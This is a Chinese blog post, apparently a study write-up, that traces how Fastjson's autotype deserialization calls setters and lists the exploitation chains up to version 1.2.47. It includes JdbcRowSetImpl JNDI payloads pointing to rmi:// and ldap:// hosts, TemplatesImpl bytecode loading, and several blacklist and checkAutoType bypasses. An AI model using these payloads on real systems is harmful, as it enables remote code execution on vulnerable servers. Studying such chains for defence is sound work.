Fastjson 低版本(<=1.2.47)原生反序列化利用
之前一直只知道fastjson进行parse会触发bean的getter方法,但具体如何实现的还不清楚,现在就来跟进一下知识🥵
这种类型的文章自然是多的,这是看完后自己的总结
Autotype
首先,对json数据直接进行parse的操作返回的是JSONObject对象,而想要指定反序列化之后返回的对象类型,需要在json数据中指定@type 属性,parse会根据这个属性,通过java的反射机制和内省机制获取bean类的基本信息,获取要反序列化的目标对象类并反射调用相关setter
在1.2.4版本中autotype默认开启,在1.2.48之后默认关闭,可以通过设置ParserConfig.getGlobalInstance()开启
还有就是bean类中需要写无参构造方法,fastjson才能通过setter
并非,是JavaBean类必须有一个无参的public构造方法,fastjson会利用这个无参构造方法和各种属性的setter去封装bean类的对象


除了直接使用parse,parseObject方法的第二个参数也可以指定目标类
当你尝试Bean类中删除public属性的setter方法后,fastjson依然会尝试直接对属性进行赋值

Breakpoint
在parse打点

这个方法先检测了json数据语法的规范性
继续跟进,到parseObject

这里提取了@type中的内容

然后经过了几个if,获取了获取了bean的反序列化器,继续跟进,调用了createJavaBeanDeserializer

持续跟进,到JavaBeanInfo这里的616行(1.2.48版本),从getBuilderClass方法反射获取到@type值的类,并遍历其所有方法,若符合一些特性则反射调用

-
方法名长度必须 >= 4
-
非静态方法
-
方法返回类型是 void 或者 当前类 clazz 本身
-
方法参数只能有一个
-
方法以 “set” 开头
调用之后返回JavaBeaninfo,继续创建了JavaBeanDeserializer,加载类到内存,之后调用了deserialze方法

在FIledDeserializer的setValue方法这里反射调用了setter方法

Fastjson反序列化
说起来fastjson链子的利用方式,主要是依靠这个任意setter或getter方法调用,所以找符合条件的链子就行
1.2.24
JdbcRowSetImpl
我们来看到JdbcRowSetImpl类的setAutoCommit方法,其命名符合setter规则

当cnoo为空时,调用了connect方法

看到lookup方法,它发起了JNDI连接,进一步可以打RMI和JRMP,当然JNDI相关的绕过和JDK版本相关,这里只是个入口
String payload ="{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSource\":\"rmi://localhost:ports/.........\"," +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
TemplatesImpl
恶意类加载,CC3的知识

不难发现TemplatesImpl的getOotputProperties方法调用了newTransformer(),一路调用到getTransletInstance()

defineTransletClasses读取恶意字节码转换为类,该类需要继承自AbstractTranslet,并保持`_name`和`_factory`不为空
String payload = "{" +
"\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"base64字节码\"] ," +
"\"_name\":\"Orionix\"," +
"\"_tfactory\":{ }," +
"\"_outputProperties\":{ }" +
"}";
1.2.25-41
这些版本在parse时检测到@type,会先执行ParserConfig#checkAutoType,用内置的黑名单和用户添加的白名单对反序列化的类进行过滤
我们来到typeutils的loadclass(负责动态类加载)这里

`(className.startsWith("L") && className.endsWith(";"))`这个条件过之后直接loadclass了,重点是这个条件也很好绕
我们的type属性可以设置为以下格式即可
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
来到42版本
1.2.42
再看看loadclass方法,我们会发现它对classname进行了一个substring,去除了最开始和最后一个字符,也就是`L`和`;`

它在判断之后又调用了loadClass,第二次的调用没有对L;进行判断,所以双写绕过
修复
对LL开头的类名直接报错
1.2.43
咱们不走L;了,咱们走[
我懒直接贴payload了,主要是绕过了添加`[`之后进行parse操作会造成的几个报错,这个if原本意图是为了支持数组类型的动态加载(如 [Ljava.lang.String; 表示 String[])
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,"
1.2.45
扩展黑名单,利用需要与mybatis打配合,我们要用到里面的set方法,来到这里的setProperties方法

一眼看到lookup了properties.getProperty(“data_source”),我们看看这个能修改不,跟进getProperty方法

返回其父类的get方法的值或者是defaults的getProperty方法,这个父类是java.util.Hashtable,我们可以控制它的对象的`data_source`属性

于是构造payload
String payload = "{" +
"\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\": {\"data_source\":\"rmi://localhost:port/..............\"}" +
"}";
1.2.47
原理是检测@type属性的方法checkAutoType出现漏洞,所以Autotype参数无法限制,危害较大

来看这个方法,我们发现它的会先从typeutils的mapping和deserializers中查询,然后return回一个clazz,这些步骤在检测autoTypeSupport之前

我们一步到位,deserializers里面没有可以被利用输入对象属性的方法,我们看typeutils的

mappings是ConcurrentHashMap的一个对象,loadclass方法可以写入参数,在typeutils中两个参数的loadclass重载方法默认将cache设置为了true
那么这个重载的loadclass在MiscCodec中被调用,当clazz为Class.class(也就是java.lang.Class的对象)时,会将strVal的类加载到缓存(cache为true)

这里解释一下为什么json被解析之后会被调用到MiscCodec,当type属性指定为java.lang.Class,parseObject就会调用ParserConfig.getDeserializer()获取MiscCodec作为反序列化器
strVal来自objVal,而objVal又来自以下逻辑

当parser.resolveStatus时,会检测json数据中有无val这个值,若存在则将其赋给objval,最终也就是要加载的类名
回到`public final Object parseObject(Map object, Object fieldName)`

方法里设置了ResolveStatus值为2,也就是说默认是走用json数据中的val传递类名,我们构造以下json数据
{"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}
这会将`com.sun.rowset.JdbcRowSetImpl`加载到缓存,我们再次传入一个json数据
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://IP/.......",
"autoCommit": true
}
因为这个类已经被缓存到mapping,所以它会直接加载,不会走到对autoTypeSupport的判断那里,我草太妙了,这个漏洞对于一下版本基本通杀,版本低都能试试
1.2.25 <= fastjson <= 1.2.32 没有开启 AutoTypeSupport 以及 1.2.33 <= fastjson <= 1.2.47不论是否开启AutoTypeSupport
Bypass
Links
https://xz.aliyun.com/news/12201
fastjson(一)反序列化 - LingX5 - 博客园 <- 这个好细 suki